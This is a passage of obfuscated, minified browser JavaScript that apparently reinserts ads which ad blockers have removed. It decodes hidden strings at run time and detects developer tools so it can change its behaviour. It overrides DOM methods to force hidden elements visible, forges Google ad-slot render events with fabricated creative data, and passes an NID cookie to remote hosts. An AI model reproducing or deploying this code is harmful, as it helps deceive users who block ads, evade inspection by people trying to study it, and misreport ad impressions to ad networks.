| continue;f = n.c6de1fb3(d[e].substr(0, d[e].length - 6)) | |
| } | |
| } catch (k) { | |
| f = !1 | |
| } | |
| f && (f[U] && !1 !== f[Jb] && f[U][U] && f[U][Z] && f[U][Kb] ? z() - f[U][Z] > f[U][Kb] ? Yb(a, e) : -1 < c.indexOf(f[U][U]) ? Yb(a, e) : (a.J[e] = f, | |
| a.ba[e] || (a.ba[e] = {}), | |
| a.ba[e][U] = f[U][U], | |
| a.ba[e]["6ab36227"] = g, | |
| c.push(f[U][U])) : Yb(a, e)) | |
| } | |
| 10 <= | |
| c.length && Zb(a) | |
| } | |
| function Yb(a, c) { | |
| delete a.J[c]; | |
| delete a.ba[c]; | |
| window.localStorage.removeItem(c); | |
| window.sessionStorage.removeItem(c) | |
| } | |
| function Zb(a, c) { | |
| var b = !0, d; | |
| for (d in a.J) | |
| !a.J.hasOwnProperty(d) || c && 0 !== a.J[d]["6ab36227"].indexOf(c) || (a.he.push(d), | |
| b = b && Yb(a, d)) | |
| } | |
| function Lb(a, c) { | |
| var b = m.a099bd61; | |
| if (b.Na !== c) { | |
| for (e in b.J) | |
| if (b.J.hasOwnProperty(e)) { | |
| var d = b.J[e]; | |
| if ("object" === typeof a[U] && "object" === typeof d[U] && a[U][U] === d[U][U] && a[U][Kb] === d[U][Kb] && a[U].d7918815 === d[U].d7918815 && a[U][Z] === d[U][Z] && a[U].b10f785d === d[U].b10f785d && a["6ab36227"] === d["6ab36227"] && a[Jb] === d[Jb]) | |
| return | |
| } | |
| for (e in b.J) | |
| b.J.hasOwnProperty(e) && (d = b.J[e], | |
| a["6ab36227"] === d["6ab36227"] && Yb(b, e)); | |
| a["6ab36227"] = c; | |
| var e = x(4, 13); | |
| a["46842e82"] = e; | |
| b.ba[e] = {}; | |
| b.ba[e]["6ab36227"] = c; | |
| b.ba[e][U] = a[U][U]; | |
| b.J[e] = a; | |
| b = n.b7578bb(b.J[e]) + c; | |
| !1 !== b && (window.localStorage.setItem(e, b), | |
| window.sessionStorage.setItem(e, b)) | |
| } | |
| } | |
| function $b(a, c) { | |
| var b = {}, d; | |
| for (d in a.J) | |
| if (a.J.hasOwnProperty(d) && (!c || c === a.J[d]["6ab36227"])) { | |
| var e = ra(a.J[d]); | |
| e[U][U] = a.ba[d][U]; | |
| b[d] = e | |
| } | |
| return b | |
| } | |
| function Db(a) { | |
| var c = m.a099bd61 | |
| , b = m.a099bd61.ib; | |
| a || (a = function() {} | |
| ); | |
| var c = $b(c, b), d; | |
| for (d in c) | |
| if (c.hasOwnProperty(d)) | |
| return a(c[d]), | |
| !0; | |
| return !1 | |
| } | |
| function ac() { | |
| return "inline-table" | |
| } | |
| function Cb() { | |
| return !0 | |
| } | |
| function bc() { | |
| return !1 | |
| } | |
| if (Object.prototype.hasOwnProperty.call(document.getElementsByTagName("head")[0], "39948a6582818dff") || Object.prototype.hasOwnProperty.call(document.getElementsByTagName("head")[0], "27f1793682818dff") || !Object.defineProperty(document.getElementsByTagName("head")[0], "39948a6582818dff", { | |
| get: function() { | |
| return !0 === document.getElementsByTagName("head")[0]["27f1793682818dff"] | |
| }, | |
| set: function() { | |
| Object.prototype.hasOwnProperty.call(document.getElementsByTagName("head")[0], "27f1793682818dff") || Object.defineProperty(document.getElementsByTagName("head")[0], | |
| "27f1793682818dff", { | |
| value: !0 | |
| }) | |
| } | |
| }) || Object.prototype.hasOwnProperty.call(document.getElementsByTagName("head")[0], "39948a6682818dff") || Object.prototype.hasOwnProperty.call(document.getElementsByTagName("head")[0], "ae9a0ee182818dff") || !Object.defineProperty(document.getElementsByTagName("head")[0], "39948a6682818dff", { | |
| get: function() { | |
| return !0 === document.getElementsByTagName("head")[0].ae9a0ee182818dff | |
| }, | |
| set: function() { | |
| Object.prototype.hasOwnProperty.call(document.getElementsByTagName("head")[0], "ae9a0ee182818dff") || | |
| Object.defineProperty(document.getElementsByTagName("head")[0], "ae9a0ee182818dff", { | |
| value: !0 | |
| }) | |
| } | |
| }) || Object.prototype.hasOwnProperty.call(aa = document.createElement("div"), "386b2e83") || !Object.defineProperty(aa, "386b2e83", { | |
| configurable: !1, | |
| get: function() { | |
| function a() { | |
| this.sa = J; | |
| this.Ld = m.b0af0ffe.Cb; | |
| this.za = 1; | |
| this.Yc = 2; | |
| this.Ga = 1800; | |
| this.Yd = 3600; | |
| this.Zd = 7E3; | |
| this.Fe = 1E3 * z(); | |
| this.fc() | |
| } | |
| a.prototype.va = function(a, b) { | |
| var c = {}; | |
| c[Jb] = ""; | |
| var e = {}; | |
| e[U] = a; | |
| e[Z] = z(); | |
| e[Kb] = b; | |
| c[U] = e; | |
| Lb(c, m.a099bd61.Na) | |
| } | |
| ; | |
| a.prototype.Qd = | |
| function() { | |
| return $b(m.a099bd61, m.a099bd61.Na) | |
| } | |
| ; | |
| a.prototype.Xd = function() { | |
| 1E3 * z() - this.Fe > this.Zd && (this.va(this.Yc, this.Yd), | |
| document.getElementsByTagName("head")[0]["39948a6582818dff"] = !0) | |
| } | |
| ; | |
| a.prototype.$d = function() { | |
| var a = this | |
| , b = this.sa("OBYPCj0CDzgONQMDIDEYDg=="); | |
| void 0 === window[b] || sa(b) || (this.va(this.za, this.Ga), | |
| document.getElementsByTagName("head")[0]["39948a6582818dff"] = !0); | |
| try { | |
| var d = new SyntaxError; | |
| Object.defineProperty(d, a.sa("FD0NBjs="), { | |
| get: function() { | |
| a.va(a.za, a.Ga); | |
| document.getElementsByTagName("head")[0]["39948a6582818dff"] = | |
| !0 | |
| } | |
| }); | |
| (function(b, c) { | |
| console.log && !a.vd && (a.vd = !0, | |
| a.Ld(a.sa("BCYCFj8DC3gGFg1FJAIvMgAxHTIjKHUEVVgjJAwGGQYJPR8+YTJHbQ=="), null , b, c)) | |
| })(a.sa("Qio="), d) | |
| } catch (e) {} | |
| } | |
| ; | |
| a.prototype.ae = function() { | |
| var a = this; | |
| (function() { | |
| var b, c = { | |
| toString: function() { | |
| return [] | |
| } | |
| }; | |
| for (b = 0; 5E3 > b; b++) | |
| c[b] = window; | |
| b = Date.now(); | |
| try { | |
| console.time(c) | |
| } catch (e) {} | |
| 8 < Date.now() - b ? (a.va(a.za, a.Ga), | |
| document.getElementsByTagName("head")[0]["39948a6582818dff"] = !0) : 0 < document.getElementsByClassName(a.sa("ASAeADIaCQQPCg8ZFgQxKwgn")).length && (a.va(a.za, | |
| a.Ga), | |
| document.getElementsByTagName("head")[0]["39948a6582818dff"] = !0) | |
| })() | |
| } | |
| ; | |
| a.prototype.be = function() { | |
| void 0 !== window[this.sa("OBYuNx84PRM4LSUiCSMXBCIaIAkcNg==")] && (this.va(this.za, this.Ga), | |
| document.getElementsByTagName("head")[0]["39948a6582818dff"] = !0) | |
| } | |
| ; | |
| a.prototype.Ad = function() { | |
| var a = Sb(m["1f036911"]); | |
| -1 < a.indexOf(m["1f036911"].vb) || -1 < a.indexOf(m["1f036911"].Wd) ? this.be() : -1 < a.indexOf(m["1f036911"].pb) ? this.$d() : -1 < a.indexOf(m["1f036911"].kc) && this.ae() | |
| } | |
| ; | |
| a.prototype.fc = function() { | |
| this.Xd(); | |
| this.Ad(); | |
| return this.rd() | |
| } | |
| ; | |
| a.prototype.rd = function() { | |
| return document.getElementsByTagName("head")[0]["39948a6582818dff"] | |
| } | |
| ; | |
| return document.getElementsByTagName("head")[0]["39948a6682818dff"] ? !0 : (document.getElementsByTagName("head")[0]["39948a6682818dff"] = !0, | |
| a) | |
| }, | |
| set: function() {} | |
| })) | |
| try { | |
| Object.defineProperty(n, "1f62ba70", { | |
| get: function() { | |
| return function(a, c) { | |
| try { | |
| return !1 !== c && (a = m.aafba60f.decode(a)), | |
| ea(a) | |
| } catch (d) { | |
| var b = { | |
| a: 7 | |
| }; | |
| b.e = d; | |
| V(b, !0); | |
| return !1 | |
| } | |
| } | |
| } | |
| }) | |
| } catch (a) { | |
| throw ""; | |
| } | |
| function cc(a) { | |
| this.R = {}; | |
| this.B = a | |
| } | |
| function dc(a) { | |
| Object.defineProperty(a, J("CC8KFjUbJjMDHgIZ"), { | |
| get: function() { | |
| return a.__new[J("CC8KFjUbJjMDHgIZ")] | |
| } | |
| }); | |
| Object.defineProperty(a, J("CC8KFjUbOT8ODQI="), { | |
| get: function() { | |
| return a.__new[J("CC8KFjUbOT8ODQI=")] | |
| } | |
| }) | |
| } | |
| function ec(a) { | |
| try { | |
| if (a.style._setProperty = a.style.setProperty, | |
| !a.style.setProperty || -1 !== a.style.setProperty.toString().indexOf(J("CSgYDCYK"))) { | |
| var c = [] | |
| , b = [] | |
| , d = [] | |
| , e = a.style.setProperty | |
| , f = function(a) { | |
| c.pop(); | |
| c.push(this.style); | |
| if (J("CSYCAA==") === a || J("DyAIATUB") === a) { | |
| this.__upclose = !0; | |
| try { | |
| -1 < arguments.callee.caller.caller.caller.caller.toString().indexOf(J("BDofLT8ABSU=")) && (this.__upclose = !1) | |
| } catch (t) {} | |
| } else | |
| this.__upclose && (this.__upclose = !1); | |
| K(m["10785708"], this, J("AyAfFTwOFw=="), a, J("DiQcCiIbDzge"), | |
| !0) | |
| } | |
| , g = function(a) { | |
| b.pop(); | |
| b.push(this.style); | |
| if (J("CSYCAA==") === a || J("DyAIATUB") === a) { | |
| this.__upclose = !0; | |
| try { | |
| -1 < arguments.callee.caller.caller.caller.caller.toString().indexOf(J("BDofLT8ABSU=")) && (this.__upclose = !1) | |
| } catch (t) {} | |
| } else | |
| this.__upclose && (this.__upclose = !1); | |
| K(m["10785708"], this, J("ESAfDDIGAj8eAA=="), a, J("DiQcCiIbDzge"), !0) | |
| } | |
| , k = function(a, b, c) { | |
| d.pop(); | |
| d.push(this.style); | |
| if (J("AyAfFTwOFw==") === a && J("CSYCAA==") === b || J("ESAfDDIGAj8eAA==") === a && J("DyAIATUB") === b) | |
| this[J("AiUJCDUBGg==")].__upclose = | |
| !0; | |
| else if (this[J("AiUJCDUBGg==")].__upclose && J("AyAfFTwOFw==") === a && J("CSYCAA==") !== b || J("ESAfDDIGAj8eAA==") === a && J("DyAIATUB") !== b) | |
| this[J("AiUJCDUBGg==")].__upclose = !1; | |
| return e.call(this, a, b, c) | |
| } | |
| ; | |
| a.ooo = a.style; | |
| try { | |
| var h = a.style.display; | |
| Object.defineProperty(a.style, J("AyAfFTwOFw=="), { | |
| get: function() { | |
| return h | |
| }, | |
| set: function(a) { | |
| h = a; | |
| f.call(this[J("AiUJCDUBGg==")], a); | |
| return h | |
| } | |
| }); | |
| var p = a.style.visibility; | |
| Object.defineProperty(a.style, J("ESAfDDIGAj8eAA=="), { | |
| get: function() { | |
| return p | |
| }, | |
| set: function(a) { | |
| p = a; | |
| g.call(this[J("AiUJCDUBGg==")], | |
| a); | |
| return p | |
| } | |
| }) | |
| } catch (l) { | |
| try { | |
| a.style.__defineSetter__(J("AyAfFTwOFw=="), f.N(a)), | |
| a.style.__defineSetter__(J("ESAfDDIGAj8eAA=="), g.N(a)) | |
| } catch (t) {} | |
| } | |
| a.style[J("AiUJCDUBGg==")] = a; | |
| try { | |
| Object.defineProperty(a.style, J("FCwYNSIAHjMYDRM="), { | |
| get: function() { | |
| return k | |
| }, | |
| set: function() {} | |
| }) | |
| } catch (l) { | |
| a.style.setProperty = k | |
| } | |
| } | |
| } catch (l) { | |
| a = { | |
| a: 19 | |
| }, | |
| a.e = l, | |
| V(a, !0) | |
| } | |
| } | |
| cc.prototype.La = function(a) { | |
| if (a && !a.ce) { | |
| a.ce = !0; | |
| try { | |
| var c = HTMLElement.prototype.appendChild; | |
| a.appendChild = function(a) { | |
| var b = c.call(this, a); | |
| try { | |
| ec(a) | |
| } catch (k) {} | |
| var d = a.constructor && window.DocumentFragment === a.constructor ? this : b; | |
| d.sc = setInterval(function(a) { | |
| a.zb = a.zb ? a.zb + 1 : 1; | |
| if (10 < a.zb) | |
| return clearInterval(d.sc); | |
| fc(a) && clearInterval(d.sc) | |
| } | |
| .N(window, d), 500); | |
| return b | |
| } | |
| ; | |
| var b = HTMLElement.prototype.removeChild; | |
| a.removeChild = function(a) { | |
| a.__tree || this.__tree || a.__dest || this.__dest ? (a.__upclose = !0, | |
| K(m["10785708"], | |
| a, J("AyAfFTwOFw=="), J("CSYCAA=="), J("DiQcCiIbDzge"))) : b.call(this, a); | |
| this.__defineGetter__("firstChild", function() { | |
| for (var a = this.children, b = 0; b < a.length; b++) { | |
| var c = a[b]; | |
| if (!c.__upclose) | |
| return c | |
| } | |
| return null | |
| }); | |
| return a | |
| } | |
| } catch (e) { | |
| var d = { | |
| a: 20 | |
| }; | |
| d.e = e; | |
| V(d, !0) | |
| } | |
| ec(a) | |
| } | |
| } | |
| ; | |
| function fc(a) { | |
| try { | |
| var c = "#text #comment BR SCRIPT STYLE LINK NOSCRIPT META".split(" ") | |
| , b = ["HTML", "BODY", "HEAD"] | |
| , d = a; | |
| if (za(a) || a.__upclose || !0 !== a.updis) { | |
| if (!1 === a.updis) | |
| return !1; | |
| var e = a.getElementsByTagName("*"); | |
| a = !1; | |
| for (b = 0; b < e.length; b++) { | |
| var f = e[b]; | |
| ta(function(a, b) { | |
| a(b) | |
| }, [m.bd2bebe6.La.N(m.bd2bebe6), f]); | |
| "h-hidden--l t-zeta t-heavy" === f.className || za(f) || !f.__old || f.__upclose || -1 !== c.indexOf(f.tagName) || (K(m["10785708"], f, J("AyAfFTwOFw=="), ac(), J("DiQcCiIbDzge")), | |
| K(m["10785708"], f, J("ESAfDDIGAj8eAA=="), | |
| "visible", J("DiQcCiIbDzge")), | |
| a = !0) | |
| } | |
| return a | |
| } | |
| for (; null !== d; ) { | |
| d.__old && d.style.setProperty.toString().indexOf("native code"); | |
| if (d.__upclose) | |
| break; | |
| if (!(-1 < c.indexOf(d.nodeName))) { | |
| var g = window.getComputedStyle(d) | |
| , k = g.display | |
| , h = g.height | |
| , p = g.visibility; | |
| "0px" !== h && "" !== h || K(m["10785708"], d, "height", "auto", J("DiQcCiIbDzge")); | |
| if (!1 === za(d) || J("CSYCAA==") === k) | |
| J("CSYCAA==") !== k ? K(m["10785708"], d, J("AyAfFTwOFw=="), g.display, "important") : d.frDisplay ? K(m["10785708"], d, J("AyAfFTwOFw=="), d.frDisplay, J("DiQcCiIbDzge")) : | |
| K(m["10785708"], d, J("AyAfFTwOFw=="), ac(), "important"); | |
| J("DyAIATUB") === p && K(m["10785708"], d, J("ESAfDDIGAj8eAA=="), "visible", J("DiQcCiIbDzge")); | |
| if (d.shadowRoot && -1 === b.indexOf(d.nodeName) && !d.De) { | |
| d.shadowRoot.innerHTML = a.outerHTML; | |
| d.De = !0; | |
| break | |
| } | |
| } | |
| d = d.parentElement | |
| } | |
| return !0 | |
| } catch (l) { | |
| c = { | |
| a: 21 | |
| }, | |
| c.e = l, | |
| V(c, !0) | |
| } | |
| } | |
| function gc(a) { | |
| try { | |
| var c = []; | |
| if (!za(a) && !a.__upclose) | |
| for (var b = "#text #comment BR SCRIPT STYLE LINK NOSCRIPT META".split(" "), d = ["HTML", "BODY", "HEAD"], e = a.parentElement; null !== e; ) { | |
| if (-1 === b.indexOf(e.nodeName)) { | |
| if (za(e) || -1 < d.indexOf(e.tagName)) { | |
| 0 < c.length && -1 === "['HOPY.com']".indexOf(document.location.hostname.replace("www.", "")) || (c = [a]); | |
| break | |
| } | |
| c.push(e) | |
| } | |
| e = e.parentElement | |
| } | |
| return c | |
| } catch (f) { | |
| a = { | |
| a: 22 | |
| }, | |
| a.e = f, | |
| V(a, !0) | |
| } | |
| } | |
| function hc(a, c) { | |
| function b() { | |
| if (!document.Pd) { | |
| var a = document.getElementById.N(document); | |
| document.getElementById = function(b) { | |
| var c = b.split("_"); | |
| if (1 < c.length) | |
| for (var e in c) | |
| if (c.hasOwnProperty(e) && c[e]) { | |
| try { | |
| var f = window.atob(c[e]) | |
| } catch (y) { | |
| continue | |
| } | |
| if (-1 < d.B.Da.indexOf(f)) { | |
| b = d.B.Da[d.B.Da.indexOf(f)]; | |
| c[e] = b; | |
| b = c.join(""); | |
| break | |
| } | |
| } | |
| if (b in d.R) { | |
| if ("object" === typeof d.R[b]) | |
| return d.R[b]; | |
| b = a(d.R[b]) | |
| } else | |
| b = a(b); | |
| return b | |
| } | |
| .N(this); | |
| var b = HTMLElement.prototype.__lookupGetter__("id") | |
| , c = HTMLElement.prototype.__lookupSetter__("id"); | |
| HTMLElement.prototype.__defineGetter__("id", function() { | |
| var a = b.call(this), c; | |
| for (c in d.R) | |
| if (d.R.hasOwnProperty(c) && a === d.R[c]) | |
| return c; | |
| return a | |
| }); | |
| HTMLElement.prototype.__defineSetter__("id", function(a) { | |
| var e = b.call(this), f; | |
| for (f in d.R) | |
| if (d.R.hasOwnProperty(f) && e === d.R[f]) | |
| return d.R[a] = e; | |
| return c.call(this, a) | |
| }); | |
| document.Pd = !0 | |
| } | |
| } | |
| var d = m.bd2bebe6; | |
| c || (c = function() {} | |
| ); | |
| try { | |
| a.ne = !0; | |
| try { | |
| b() | |
| } catch (v) { | |
| var e = { | |
| a: 23 | |
| }; | |
| e.e = v; | |
| V(e, !0) | |
| } | |
| a.parentElement && "innerspot-desktop-wrapper-1" == a.parentElement.id && a.style.setProperty("width", | |
| "300px", null ); | |
| var f = gc(a); | |
| a.__dest = !0; | |
| if (0 === f.length) { | |
| c(a); | |
| return | |
| } | |
| var g = f[f.length - 1].parentElement; | |
| for (e = 0; e < f.length; e++) { | |
| var k = f[e].__new; | |
| k && (g = k, | |
| f = f.slice(0, e)) | |
| } | |
| for (var h = f.length - 1; 0 <= h; h--) { | |
| var p = f[h] | |
| , l = p.cloneNode(!1); | |
| l.removeAttribute("class"); | |
| l.removeAttribute("style"); | |
| l.__tree = !0; | |
| l.__old = p; | |
| dc(p); | |
| p.__new = l; | |
| var t = l.getAttribute.bind(l); | |
| l["8301cff5"] = t; | |
| l.getAttribute = function(a) { | |
| var b = this["8301cff5"](a); | |
| return b ? b : p.getAttribute(a) | |
| } | |
| ; | |
| if (p.id && !p.ne) { | |
| var u = x(7, 7, !1); | |
| l.id = u; | |
| d.R[p.id] = u | |
| } | |
| var q = | |
| function(b, c) { | |
| g = b.parentElement === g ? b.parentElement.insertBefore(c, b) : g.appendChild(c); | |
| c.de && g.appendChild(a); | |
| var d = window.getComputedStyle(c, null ); | |
| J("CSYCAA==") === d.display && K(m["10785708"], c, J("AyAfFTwOFw=="), ac(), "important"); | |
| J("DyAIATUB") === d.visibility && K(m["10785708"], c, J("ESAfDDIGAj8eAA=="), "visible", "important") | |
| } | |
| .N(null , p, l); | |
| l.de = 0 == h; | |
| ya(p, l, q) | |
| } | |
| for (e = 0; e < f.length; e++) | |
| K(m["10785708"], f[e], J("AyAfFTwOFw=="), J("CSYCAA==")) | |
| } catch (v) { | |
| e = { | |
| a: 23 | |
| }, | |
| e.e = v, | |
| V(e, !0) | |
| } | |
| c(a) | |
| } | |
| function ic(a) { | |
| this.B = a; | |
| this.K = this.B.K; | |
| this.Ba = this.B.Ba; | |
| this.Ta = 0; | |
| this.Ra = -1; | |
| this.oe = Date.now(); | |
| this.ea = m.b0af0ffe.Cb("_p = {'max':20}"); | |
| this.Hb = { | |
| "300x600": 3, | |
| "728x90": 3, | |
| "300x250": 1, | |
| "160x600": 4, | |
| "120x600": 4, | |
| "250x250": 1 | |
| }; | |
| this.wc = !1; | |
| this.Cc = 5; | |
| this.te = 1E4; | |
| this.Da = a.Da; | |
| this.jc = !1; | |
| this.pd = []; | |
| this.ob = [] | |
| } | |
| ic.prototype.Hc = function() { | |
| return !0 | |
| } | |
| ; | |
| function jc(a) { | |
| for (var c in a.Hb) | |
| a.Hb.hasOwnProperty(c) && a[a.h].jb + "x" + a[a.h].fa === c && (a.Ta += a.Hb[c]) | |
| } | |
| function kc(a) { | |
| if (a.V) | |
| return a.Ra++, | |
| a.Ta++, | |
| !0; | |
| var c; | |
| for (c in a.ea) | |
| if (a.ea.hasOwnProperty(c)) { | |
| var b = c; | |
| var d = a.ea[c] | |
| } | |
| for (c in a.ea) | |
| if (a.ea.hasOwnProperty(c)) { | |
| var e = a.ea[c]; | |
| if (a[a.h].jb + "x" + a[a.h].fa === c && 0 < e || c === b && d) | |
| return a.Ra++, | |
| a.ea[c] = e - 1, | |
| !0 | |
| } | |
| return !1 | |
| } | |
| function lc(a) { | |
| for (var c in a.B.da) | |
| if (a.B.da.hasOwnProperty(c)) { | |
| var b = a.B.da[c].target; | |
| try { | |
| b.parentElement.removeChild(b) | |
| } catch (d) {} | |
| } | |
| } | |
| function mc(a) { | |
| try { | |
| if (a.isCurrentAdIsDFP && window.googletag && window.googletag.sre) { | |
| var c = a.ifd | |
| , b = a.dfpArguments.data.iu | |
| , d = { | |
| j: {} | |
| }; | |
| try { | |
| d = a.dfpArguments.gob || window.googletag.slot_manager_instance.l[a.dfpArguments.data.selector] || window.__gT.slot_manager_instance.l[a.dfpArguments.data.selector] | |
| } catch (l) {} | |
| !("getAdUnitPath" in d) && "j" in d && (d = d.j); | |
| var e = c.cid || 0 | |
| , f = c.lid || 0 | |
| , g = "number" === typeof a.pa ? a.pa : parseInt(window.getComputedStyle(a).height) | |
| , k = "number" === typeof a.qa ? a.qa : parseInt(window.getComputedStyle(a).width); | |
| 86 <= g && 95 >= g && (g = 90); | |
| "dataObject" in a || (a.dataObject = { | |
| rt: {} | |
| }); | |
| var h = ra(a.dataObject); | |
| h.rt = a.rtrt; | |
| var p = { | |
| creativeId: e, | |
| lineItemId: f, | |
| isEmpty: e ? !1 : !0, | |
| serviceName: "publisher_ads", | |
| size: [k, g], | |
| slotContentChanged: !0, | |
| slot: d, | |
| slotElementId: d.getSlotElementId(), | |
| dataObject: h | |
| }; | |
| d.getAdUnitPath = function() { | |
| return b | |
| } | |
| ; | |
| for (a = 0; a < window.googletag.sre.length; a++) | |
| window.googletag.sre[a](p); | |
| window._slots_ || (window._slots_ = {}); | |
| window._slots_[e + "|" + f] = p | |
| } | |
| } catch (l) {} | |
| } | |
| function nc(a) { | |
| try { | |
| var c = oc(a) | |
| , b = W("f", c, m["5b005c43"].Ka) | |
| , d = pc(a, c, b) | |
| , e = function() { | |
| K(m["10785708"], d, "display", "none") | |
| } | |
| ; | |
| Y(m["5b005c43"], b, void 0, function(b) { | |
| qc(a, b, d, e) | |
| }, function() { | |
| e(); | |
| d.pa = 0; | |
| d.qa = 0; | |
| mc(d) | |
| }); | |
| Qb() || K(m["10785708"], d, "display", "none"); | |
| a.K || d.setAttribute("sandbox", "allow-popups allow-scripts allow-forms allow-popups-to-escape-sandbox allow-same-origin"); | |
| d.frDisplay = a.lc; | |
| a.mc && K(m["10785708"], d, "margin", a.mc); | |
| return d | |
| } catch (f) { | |
| return c = { | |
| a: 26 | |
| }, | |
| c.e = f, | |
| V(c, !0), | |
| !1 | |
| } | |
| } | |
| function oc(a) { | |
| var c = {}; | |
| c.s = a[a.h].M; | |
| c.c = a.K; | |
| c.n = a.Ra; | |
| c.o = a.Ta; | |
| c.r = a.oe; | |
| c.u = x(5, 7); | |
| if (a.V) { | |
| c.r = a[a.h].Bd; | |
| c.s = a.pc; | |
| c.i = a[a.h].yc ? 1 : 0; | |
| c.iu = escape(m.aafba60f.encode(a[a.h].yb)); | |
| c.z = escape(m.aafba60f.encode(a[a.h].Gb)); | |
| try { | |
| c.t = escape(m.aafba60f.encode(a[a.h].W)) | |
| } catch (g) { | |
| for (var b = a[a.h].W.split("&"), d = "", e = 0; e < b.length; e++) | |
| var f = b[e].split("=") | |
| , d = d + (f[0] + "=" + encodeURIComponent(f[1]) + "&"); | |
| d = d.substr(0, d.length - 1); | |
| a[a.h].W = d; | |
| c.t = escape(m.aafba60f.encode(a[a.h].W)) | |
| } | |
| } | |
| a.vc && (c.sr = a[a.h].Ue, | |
| c.s = a.Ve, | |
| c.sg = | |
| escape(btoa(a[a.h].target)), | |
| c.sd = a[a.h].gf, | |
| c.sf = a[a.h].jf, | |
| c.si = a[a.h].hf, | |
| c.sp = a[a.h].df, | |
| c.sw = a[a.h].af, | |
| c.sy = a[a.h].Xe, | |
| c.sb = a[a.h].bf); | |
| return c | |
| } | |
| function pc(a, c, b) { | |
| a[a.h].Yb = 2; | |
| var d = x(5, 9, !0) | |
| , e = document.createElement("iframe"); | |
| e.addEventListener("load", function() {}, !0); | |
| e.srcdoc = x(5, 7); | |
| e["9476c9f3"] = x(5, 7); | |
| e.url = b; | |
| try { | |
| var f = "http://pubads.g.doubleclick.net/gampad/adx?iu=" + atob(unescape(c.iu)) + "&sz=" + atob(unescape(c.z)) + "&t=" + escape(atob(unescape(c.t))) + atob("JTI2") + "ists" + atob("JTNE") + (c.i || 0) + "&c=" + c.r | |
| } catch (g) { | |
| f = "None" | |
| } | |
| e.smp = f; | |
| e.className = ""; | |
| e.setAttribute(d, ""); | |
| e.ourClass = d; | |
| m.bd2bebe6.R[e.ourClass] = e; | |
| Object.defineProperty(e, "id", { | |
| get: function() { | |
| return this.ourClass | |
| } | |
| }); | |
| a.V && (e.dfpArguments = a[a.h].arguments, | |
| e.ifd = { | |
| cid: 0, | |
| lid: 0 | |
| }); | |
| e.Wb = a[a.h].Pc + "px"; | |
| e.Rb = a[a.h].fa + "px"; | |
| return e | |
| } | |
| function qc(a, c, b, d) { | |
| function e(d) { | |
| rc(a, b, c, d); | |
| try { | |
| b.style.cssText = "display: " + ac() + " !important; " + (b.style.cssText || "") | |
| } catch (h) {} | |
| } | |
| c = m["55e59a8b"].parse(c); | |
| c.isDFP = a.V; | |
| c.fname = b["9476c9f3"]; | |
| a.V && (b.ifd.cid = c.params.cid, | |
| b.ifd.lid = c.params.lid); | |
| var f = c.token; | |
| b.token = f; | |
| b.dte = c.dtype; | |
| a.pd.push(f); | |
| b.dataObject = c; | |
| a.B.gb(JSON.stringify([a.B.$b, f])); | |
| if ("object" === typeof c.rt) | |
| e(c.rt); | |
| else { | |
| f = {}; | |
| f.i = c.rt; | |
| var g = W("rt", f, m["5b005c43"].Ka); | |
| Ob() ? setTimeout(function() { | |
| Y(m["5b005c43"], g, void 0, e, d, !0) | |
| }, 1E3) : Y(m["5b005c43"], | |
| g, void 0, e, d, !0) | |
| } | |
| } | |
| function sc(a, c) { | |
| this.cookie = c; | |
| this.F = a | |
| } | |
| function tc(a, c) { | |
| c.headers = c.headers || {}; | |
| a.cookie && (c.headers.cookie = ["NID=" + a.cookie]) | |
| } | |
| sc.prototype.stream = function(a, c) { | |
| tc(this, a); | |
| this.F.stream(a, c) | |
| } | |
| ; | |
| sc.prototype.fetch = function(a, c) { | |
| tc(this, a); | |
| this.F.fetch(a, c) | |
| } | |
| ; | |
| function rc(a, c, b, d) { | |
| function e(a) { | |
| var c = b.currentHost | |
| , d = oa(a) | |
| , d = d.replace("\\/", "/") | |
| , e = /[\?\&]i=(.*?)(?:&|$)/g.exec(a) | |
| , e = e ? e[1] : null | |
| , d = encodeURIComponent(ha(ja.encode(d))) | |
| , c = "http://" + c; | |
| e && -1 === a.indexOf("&") ? c = c + "/c?" + ("&i=" + e) : (c += "/w?", | |
| d && (c += "&u=" + d)); | |
| g && (c += "&k=" + g); | |
| a = (a = m["5b005c43"].Va.b858c19c) ? a.substr(0, a.indexOf(";")) : a; | |
| window.open(c + "&dr=" + la(1, 2) + "&NID=" + a) | |
| } | |
| var f = ja.decode(ia(b.content)); | |
| "string" === typeof d && (d = m["55e59a8b"].parse(d)); | |
| var g = b.token; | |
| c.rtrt = b.rt; | |
| var k = b.adHeight || b.params && | |
| b.params.height | |
| , h = b.adWidth || b.params && b.params.width | |
| , p = m["55e59a8b"].parse(window.localStorage["13ca9f39"]); | |
| k ? c.Rb = k + "px" : k = p[c.rtrt] && p[c.rtrt][1]; | |
| c.pa = k; | |
| h ? c.Wb = h + "px" : h = p[c.rtrt] && p[c.rtrt][0]; | |
| c.qa = h; | |
| var l = m["5b005c43"].ma; | |
| Cb() && (l = m["5b005c43"].ac); | |
| l = new S.Ob(l); | |
| d = new wb(l,d); | |
| c.__tr = d; | |
| l = new sc(d,a.B.S.b858c19c || ""); | |
| if ("1310141685" !== (b.dtype || "").toString()) | |
| try { | |
| var t = c.contentWindow.Aa ? c.contentWindow.Aa : c.contentWindow.Aa = new Wa(window,c,l,e), l = [], u; | |
| for (u in l) | |
| l.hasOwnProperty(u) && t.Ia.push(l[u]); | |
| lb(t, "http://non.existent", f) | |
| } catch (v) { | |
| K(m["10785708"], c, "display", "none", "important"); | |
| return | |
| } | |
| else if (c.contentDocument) { | |
| var q = function() { | |
| c.contentDocument.write(f); | |
| c.contentDocument.getElementsByTagName("iframe")[0] && c.contentDocument.getElementsByTagName("iframe")[0].addEventListener("load", function() { | |
| this.ownerDocument.defaultView.frameElement.se || a.B.gb(JSON.stringify([a.B.Zb, this.ownerDocument.defaultView.frameElement.token])) | |
| }); | |
| c.contentWindow.addEventListener("message", function(a) { | |
| "psb" === | |
| a.data && (this.frameElement.se = !0) | |
| }) | |
| } | |
| ; | |
| a.B.md ? q() : (t = new Image, | |
| t.addEventListener("load", function() { | |
| a.B.md = !0; | |
| q() | |
| }), | |
| t.src = "//static.criteo.net/images/pixel.gif?ch=1") | |
| } | |
| c.removeAttribute("style"); | |
| t = c.contentDocument.body; | |
| t.style.overflow = "hidden"; | |
| t.style.border = "0px"; | |
| t.style.margin = "0px"; | |
| t = la(3, 5, !0); | |
| l = la(3, 5, !0); | |
| c.setAttribute(t, l); | |
| t = "[" + t + '="' + l + '"]'; | |
| Hb(c.rtrt, d.Lb); | |
| d.Kb = function(a) { | |
| Hb(c.rtrt, [a]) | |
| } | |
| ; | |
| c.Ye = !0; | |
| d = JSON.stringify([a.B.gc, c.token, c["9476c9f3"], t]); | |
| a.B.gb(d); | |
| K(m["10785708"], c, "width", c.Wb); | |
